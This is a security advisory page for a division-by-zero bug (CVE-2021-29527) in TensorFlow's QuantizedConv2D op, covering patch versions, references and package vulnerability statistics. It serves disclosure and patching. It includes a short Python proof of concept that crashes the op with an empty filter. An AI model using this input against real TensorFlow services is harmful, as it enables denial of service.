Division by 0 in `QuantizedConv2D`
Impact
An attacker can trigger a division by 0 in tf.raw_ops.QuantizedConv2D:
import tensorflow as tf
input = tf.zeros([1, 1, 1, 1], dtype=tf.quint8)
filter = tf.constant([], shape=[1, 0, 1, 1], dtype=tf.quint8)
min_input = tf.constant(0.0)
max_input = tf.constant(0.0001)
min_filter = tf.constant(0.0)
max_filter = tf.constant(0.0001)
strides = [1, 1, 1, 1]
padding = "SAME"
tf.raw_ops.QuantizedConv2D(input=input, filter=filter, min_input=min_input, max_input=max_input, min_filter=min_filter, max_filter=max_filter, strides=strides, padding=padding)
This is because the implementation does a division by a quantity that is controlled by the caller:
const int filter_value_count = filter_width * filter_height * input_depth;
const int64 patches_per_chunk = kMaxChunkSize / (filter_value_count * sizeof(T1));
Patches
We have patched the issue in GitHub commit cfa91be9863a91d5105a3b4941096044ab32036b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-cpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-gpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
References
- https://github.com/tensorflow/tensorflow/commit/cfa91be9863a91d5105a3b4941096044ab32036b
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x4g7-fvjj-prg8
- https://nvd.nist.gov/vuln/detail/CVE-2021-29527
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-455.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-653.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-164.yaml
- https://github.com/tensorflow/tensorflow
- CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-369- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu, tensorflow-gpu- Disclosed
- 14.05.2021
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2021-164 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-455 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-653 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-x4g7-fvjj-prg8 - CC BY 4.0
Vulnerability history: tensorflow
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 433
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 112
- Medium 210
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 169
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
Division by 0 in `QuantizedConv2D` this entry
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